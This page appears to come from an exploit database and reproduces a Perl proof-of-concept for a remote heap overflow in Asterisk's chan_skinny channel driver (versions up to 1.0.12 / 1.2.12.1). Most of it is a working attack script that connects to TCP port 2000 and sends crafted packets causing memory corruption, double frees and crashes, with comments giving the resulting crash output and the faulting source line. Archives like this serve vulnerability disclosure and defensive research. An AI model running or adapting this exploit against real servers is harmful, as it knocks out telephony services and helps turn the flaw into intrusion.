Lucene search
K

Asterisk <= 1.0.12 / 1.2.12.1 (chan_skinny) Remote Heap Overflow (PoC)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Asterisk Remote Heap Overflow PoC causing chan_skinny cras

Code

                                                #!/usr/bin/perl
# Beyond Security
# Copyright Noam Rathaus &#60;[email protected]&#62;

#
# The following proof of concept causes the chan_skippy to crash in different locations and due to
# memory corruption as well as double free calls, this is based on the finding of
# Security-Assessment.com, and proves that the vulnerability is indeed exploitable and there...
#

use IO::Socket;
use strict;

my $target = &#34;127.0.0.1&#34;;

my $remote = IO::Socket::INET-&#62;new ( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; $target, PeerPort =&#62; &#34;2000&#34;);

unless ($remote) { die &#34;cannot connect to skinny daemon on $target&#34; }

my $packet = &#34;A&#34;x1000; #Causes *** glibc detected *** malloc(): memory corruption: 0x08175830 ***
my $packet = &#34;\x30\xE0\x00\x00&#34;.&#34;\x00\x00\x00\x00&#34;.(&#34;A&#34;x1000); # *** glibc detected *** double free or corruption (!prev): 0x08184348 ***
my $packet = &#34;\xE5\x03\x00\x00&#34;.(&#34;A&#34;x996); # *** glibc detected *** double free or corruption (out): 0x08171740 ***
my $packet = &#34;\xF0\xFF\xFF\xFF&#34;.(&#34;A&#34;x996); # Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread -1494127696 (LWP 9909)]
#0xa76264cb in skinny_session (data=0x8183ee8) at chan_skinny.c:2896
#2896 memcpy(req, s-&#62;inbuf, letohl(*(int*)(s-&#62;inbuf))+8);

print $remote $packet;

# milw0rm.com [2006-10-19]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation